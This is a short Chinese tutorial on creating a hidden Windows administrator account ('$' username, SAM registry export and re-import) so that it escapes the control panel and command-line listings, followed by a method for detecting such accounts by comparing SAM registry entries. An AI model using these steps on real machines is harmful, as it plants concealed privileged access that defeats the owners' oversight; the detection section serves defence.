建立隐藏用户

1.cmd> net user 用户名$ 密码 /add

hint: cmd> net localgroup administrators 用户名$ /add

(将用户添加进管理员组)

2.cmd> regedit

路径 HKEY_LOCAL_MACHINE --SAM–SAM(需要右击权限修改管理员权限)-Domains-Account-users

右击导出Users表 第[names表下的用户名所对应的顺序]位置的表项

3.cmd> net user 用户名$ /del

4.把导出的注册表重新导入到注册表里.接着注销。

测试:用隐藏用户登录 发现也可以。 而在控制面板和DOS窗口下 无法查到

查找隐藏用户

cmd> regedit

路径 HKEY_LOCAL_MACHINE --SAM–SAM(需要右击权限修改管理员权限)-Domains-Account-users

查看Users表项与Names表项中的项数量是否一致

if 数量一致：无隐藏用户

else： 对照其它电脑用户注册表 即可找出隐藏用户表项